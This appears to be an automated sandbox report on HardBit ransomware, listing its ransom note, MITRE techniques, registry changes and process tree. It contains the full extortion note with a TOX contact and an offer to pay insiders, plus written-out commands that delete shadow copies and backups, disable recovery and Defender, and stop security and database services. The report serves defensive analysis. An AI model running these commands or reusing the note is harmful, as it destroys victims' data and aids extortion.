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

URLs

http-equiv="x-ua-compatible"

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\readme-warning.hta

Ransom Note

All your files have been encrypted due to a security problem with your PC. If you want to restore them, please send your ID for us Our contact information is written in file (HOW TO RESTORE YOUR FILES). Please read this file carefully so as not to make a mistake. You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay Double . We need your ID and your ID is written below the help file Please do not touch the Key written under the help file in any way, otherwise the consequences will be with you Introducing TOX messengers You can download and install TOX message from this link https://tox.chat/ Our ID in TOX: 77A904360EA7D74268E7A4F316865F1703D2D7A6AF28C9ECFACED69CD09C8610FF2C728E6A33. We are ready to answer your questions! If you have information about the company and its servers, share with us in TOX and receive a share from us when they pay. Don't worry, your identity will remain hidden. Is there a guarantee for decryption after payment? Before paying you can send us up to for free decryption. The total size of files must be less than 1Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) Attention! DO NOT trust anyone except the email and the TOX ID that is in the help file, otherwise we will not be responsible for the consequences. DO NOT rename encrypted files. DO NOT try to decrypt or manipulate the files yourself. Do Not contact intermediary companies. They don't do anything special, they just message us and give us money and get the key, but if our price was $50,000, they will charge $70,000 from you. Do not pay any money for the test file. Before manipulating the files, be sure to make a backup of them, otherwise it is your responsibility.

URLs

https://tox.chat/

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

hardbit.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	hardbit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	hardbit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	hardbit.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

hardbit.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\ConnectSend.tiff	hardbit.exe
File opened for modification	C:\Users\Admin\Pictures\JoinExit.tiff	hardbit.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops startup file 2 IoCs

Processes:

hardbit.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	hardbit.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	hardbit.exe

Executes dropped EXE 1 IoCs

Processes:

lsm.exe

pid process

10532 lsm.exe

pid	process
10532	lsm.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

hardbit.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	hardbit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	hardbit.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

hardbit.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Documents\\hrdb.ico"	hardbit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\HARDBIT.jpg"	hardbit.exe

Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exe

pid process

2600 sc.exe
10120 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2600	sc.exe
10120	sc.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

2704 vssadmin.exe
7848 vssadmin.exe

pid	process
2704	vssadmin.exe
7848	vssadmin.exe

Modifies registry class 6 IoCs

Processes:

hardbit.exefirefox.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\.hardbit2\DefaultIcon\ = "C:\\Users\\Admin\\Documents\\hrdb.ico"	hardbit.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings	hardbit.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\.hardbit2	hardbit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\.hardbit2\	hardbit.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\.hardbit2\DefaultIcon	hardbit.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exehardbit.exe

pid	process
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe
2036	hardbit.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exepowershell.exehardbit.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3676	WMIC.exe
Token: SeSecurityPrivilege	3676	WMIC.exe
Token: SeTakeOwnershipPrivilege	3676	WMIC.exe
Token: SeLoadDriverPrivilege	3676	WMIC.exe
Token: SeSystemProfilePrivilege	3676	WMIC.exe
Token: SeSystemtimePrivilege	3676	WMIC.exe
Token: SeProfSingleProcessPrivilege	3676	WMIC.exe
Token: SeIncBasePriorityPrivilege	3676	WMIC.exe
Token: SeCreatePagefilePrivilege	3676	WMIC.exe
Token: SeBackupPrivilege	3676	WMIC.exe
Token: SeRestorePrivilege	3676	WMIC.exe
Token: SeShutdownPrivilege	3676	WMIC.exe
Token: SeDebugPrivilege	3676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3676	WMIC.exe
Token: SeRemoteShutdownPrivilege	3676	WMIC.exe
Token: SeUndockPrivilege	3676	WMIC.exe
Token: SeManageVolumePrivilege	3676	WMIC.exe
Token: 33	3676	WMIC.exe
Token: 34	3676	WMIC.exe
Token: 35	3676	WMIC.exe
Token: 36	3676	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3676	WMIC.exe
Token: SeSecurityPrivilege	3676	WMIC.exe
Token: SeTakeOwnershipPrivilege	3676	WMIC.exe
Token: SeLoadDriverPrivilege	3676	WMIC.exe
Token: SeSystemProfilePrivilege	3676	WMIC.exe
Token: SeSystemtimePrivilege	3676	WMIC.exe
Token: SeProfSingleProcessPrivilege	3676	WMIC.exe
Token: SeIncBasePriorityPrivilege	3676	WMIC.exe
Token: SeCreatePagefilePrivilege	3676	WMIC.exe
Token: SeBackupPrivilege	3676	WMIC.exe
Token: SeRestorePrivilege	3676	WMIC.exe
Token: SeShutdownPrivilege	3676	WMIC.exe
Token: SeDebugPrivilege	3676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3676	WMIC.exe
Token: SeRemoteShutdownPrivilege	3676	WMIC.exe
Token: SeUndockPrivilege	3676	WMIC.exe
Token: SeManageVolumePrivilege	3676	WMIC.exe
Token: 33	3676	WMIC.exe
Token: 34	3676	WMIC.exe
Token: 35	3676	WMIC.exe
Token: 36	3676	WMIC.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeDebugPrivilege	2036	hardbit.exe
Token: SeIncreaseQuotaPrivilege	8024	WMIC.exe
Token: SeSecurityPrivilege	8024	WMIC.exe
Token: SeTakeOwnershipPrivilege	8024	WMIC.exe
Token: SeLoadDriverPrivilege	8024	WMIC.exe
Token: SeSystemProfilePrivilege	8024	WMIC.exe
Token: SeSystemtimePrivilege	8024	WMIC.exe
Token: SeProfSingleProcessPrivilege	8024	WMIC.exe
Token: SeIncBasePriorityPrivilege	8024	WMIC.exe
Token: SeCreatePagefilePrivilege	8024	WMIC.exe
Token: SeBackupPrivilege	8024	WMIC.exe
Token: SeRestorePrivilege	8024	WMIC.exe
Token: SeShutdownPrivilege	8024	WMIC.exe
Token: SeDebugPrivilege	8024	WMIC.exe
Token: SeSystemEnvironmentPrivilege	8024	WMIC.exe
Token: SeRemoteShutdownPrivilege	8024	WMIC.exe
Token: SeUndockPrivilege	8024	WMIC.exe
Token: SeManageVolumePrivilege	8024	WMIC.exe
Token: 33	8024	WMIC.exe
Token: 34	8024	WMIC.exe
Token: 35	8024	WMIC.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

firefox.exe

pid process

10200 firefox.exe
10200 firefox.exe
10200 firefox.exe
10200 firefox.exe
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

firefox.exe

pid process

10200 firefox.exe
10200 firefox.exe
10200 firefox.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

firefox.exe

pid process

10200 firefox.exe

pid	process
10200	firefox.exe
10200	firefox.exe
10200	firefox.exe
10200	firefox.exe

pid	process
10200	firefox.exe
10200	firefox.exe
10200	firefox.exe

pid	process
10200	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

hardbit.execmd.execmd.exe

description	pid	process	target process
PID 2036 wrote to memory of 3776	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 3776	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 3776	2036	hardbit.exe	cmd.exe
PID 3776 wrote to memory of 2600	3776	cmd.exe	sc.exe
PID 3776 wrote to memory of 2600	3776	cmd.exe	sc.exe
PID 3776 wrote to memory of 2600	3776	cmd.exe	sc.exe
PID 2036 wrote to memory of 1404	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 1404	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 1404	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 4360	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 4360	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 4360	2036	hardbit.exe	cmd.exe
PID 4360 wrote to memory of 2704	4360	cmd.exe	vssadmin.exe
PID 4360 wrote to memory of 2704	4360	cmd.exe	vssadmin.exe
PID 4360 wrote to memory of 2704	4360	cmd.exe	vssadmin.exe
PID 4360 wrote to memory of 3676	4360	cmd.exe	WMIC.exe
PID 4360 wrote to memory of 3676	4360	cmd.exe	WMIC.exe
PID 4360 wrote to memory of 3676	4360	cmd.exe	WMIC.exe
PID 2036 wrote to memory of 5080	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 5080	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 5080	2036	hardbit.exe	cmd.exe
PID 2036 wrote to memory of 5112	2036	hardbit.exe	powershell.exe
PID 2036 wrote to memory of 5112	2036	hardbit.exe	powershell.exe
PID 2036 wrote to memory of 5112	2036	hardbit.exe	powershell.exe
PID 2036 wrote to memory of 1528	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1528	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1528	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4084	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4084	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4084	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4236	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4236	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4236	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4340	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4340	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4340	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 3132	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 3132	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 3132	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 912	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 912	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 912	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 2740	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 2740	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 2740	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 2540	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 2540	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 2540	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1900	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1900	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1900	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1820	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1820	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1820	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 2288	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 2288	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 2288	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4280	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4280	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 4280	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1836	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1836	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1836	2036	hardbit.exe	net.exe
PID 2036 wrote to memory of 1688	2036	hardbit.exe	net.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\hardbit.exe
"C:\Users\Admin\AppData\Local\Temp\hardbit.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies extensions of user files
- Drops startup file
- Windows security modification
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C sc delete VSS
2⤵
- Suspicious use of WriteProcessMemory
PID:3776

C:\Windows\SysWOW64\sc.exe
sc delete VSS
3⤵
- Launches sc.exe
PID:2600

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
2⤵
PID:1404

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
2⤵
- Suspicious use of WriteProcessMemory
PID:4360

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:2704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
4⤵
PID:7836

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3676

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Culserver /y
4⤵
PID:7080

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
2⤵
PID:5080

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5112

C:\Windows\SysWOW64\net.exe
"net.exe" stop avpsus /y
2⤵
PID:1528

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop avpsus /y
3⤵
PID:6784

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecJobEngine /y
2⤵
PID:4876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:7308

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C sc delete VSS
2⤵
PID:3124

C:\Windows\SysWOW64\sc.exe
sc delete VSS
3⤵
- Launches sc.exe
PID:10120

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
2⤵
PID:9420

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
2⤵
PID:8896

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:7848

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:8024

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
2⤵
PID:3632

C:\Users\Admin\AppData\Local\Temp\lsm.exe
"C:\Users\Admin\AppData\Local\Temp\lsm.exe"
2⤵
- Executes dropped EXE
PID:10532

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "
3⤵
PID:10572

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSExchange$ /y
2⤵
PID:4068

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSExchange /y
2⤵
PID:5072

C:\Windows\SysWOW64\net.exe
"net.exe" stop WSBExchange /y
2⤵
PID:1504

C:\Windows\SysWOW64\net.exe
"net.exe" stop CAARCUpdateSvc /y
2⤵
PID:376

C:\Windows\SysWOW64\net.exe
"net.exe" stop CASAD2DWebSvc /y
2⤵
PID:4148

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcrSch2Svc /y
2⤵
PID:4064

C:\Windows\SysWOW64\net.exe
"net.exe" stop ARSM /y
2⤵
PID:1600

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcronisAgent /y
2⤵
PID:3392

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamNFSSvc /y
2⤵
PID:5060

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:4088

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamTransportSvc /y
2⤵
PID:3800

C:\Windows\SysWOW64\net.exe
"net.exe" stop VSNAPVSS /y
2⤵
PID:3812

C:\Windows\SysWOW64\net.exe
"net.exe" stop stc_raw_agent /y
2⤵
PID:4036

C:\Windows\SysWOW64\net.exe
"net.exe" stop MVarmor64 /y
2⤵
PID:1020

C:\Windows\SysWOW64\net.exe
"net.exe" stop MVArmor /y
2⤵
PID:2624

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecRPCService /y
2⤵
PID:4404

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecManagementService /y
2⤵
PID:4412

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecJobEngine /y
2⤵
PID:4224

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecDiveciMediaService /y
2⤵
PID:4164

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentBrowser /y
2⤵
PID:3984

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentAccelerator /y
2⤵
PID:4336

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecVSSProvider /y
2⤵
PID:4220

C:\Windows\SysWOW64\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:356

C:\Windows\SysWOW64\net.exe
"net.exe" stop bedbg /y
2⤵
PID:1016

C:\Windows\SysWOW64\net.exe
"net.exe" stop backup /y
2⤵
PID:1468

C:\Windows\SysWOW64\net.exe
"net.exe" stop veeam /y
2⤵
PID:3328

C:\Windows\SysWOW64\net.exe
"net.exe" stop sophos /y
2⤵
PID:3936

C:\Windows\SysWOW64\net.exe
"net.exe" stop mepocs /y
2⤵
PID:3512

C:\Windows\SysWOW64\net.exe
"net.exe" stop memtas /y
2⤵
PID:4356

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$ /y
2⤵
PID:3444

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL /y
2⤵
PID:4920

C:\Windows\SysWOW64\net.exe
"net.exe" stop svc$ /y
2⤵
PID:2572

C:\Windows\SysWOW64\net.exe
"net.exe" stop sql /y
2⤵
PID:3440

C:\Windows\SysWOW64\net.exe
"net.exe" stop vss /y
2⤵
PID:2592

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooIT /y
2⤵
PID:4388

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooBackup /y
2⤵
PID:5036

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBVSS /y
2⤵
PID:4988

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBFCService /y
2⤵
PID:5068

C:\Windows\SysWOW64\net.exe
"net.exe" stop SQLAgent$SHAREPOINT /y
2⤵
PID:5020

C:\Windows\SysWOW64\net.exe
"net.exe" stop SQLAgent$SHAREPOINT /y
2⤵
PID:4928

C:\Windows\SysWOW64\net.exe
"net.exe" stop SQLAgent$SBSMONITORING /y
2⤵
PID:4780

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
2⤵
PID:4532

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$SHAREPOINT /y
2⤵
PID:4436

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$SBSMONITORING /y
2⤵
PID:4512

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$MICROSOFT##SSEE /y
2⤵
PID:4504

C:\Windows\SysWOW64\net.exe
"net.exe" stop Exchange /y
2⤵
PID:4484

C:\Windows\SysWOW64\net.exe
"net.exe" stop msftesql /y
2⤵
PID:4796

C:\Windows\SysWOW64\net.exe
"net.exe" stop SQLAgent$KAV_CS_ADMIN_KIT /y
2⤵
PID:4956

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLServerADHelper100 /y
2⤵
PID:2412

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$KAV_CS_ADMIN_KIT /y
2⤵
PID:4784

C:\Windows\SysWOW64\net.exe
"net.exe" stop MySQL57 /y
2⤵
PID:4848

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$MICROSOFT /y
2⤵
PID:4756

C:\Windows\SysWOW64\net.exe
"net.exe" stop FishbowlMySQL /y
2⤵
PID:3108

C:\Windows\SysWOW64\net.exe
"net.exe" stop SQLWriter /y
2⤵
PID:4820

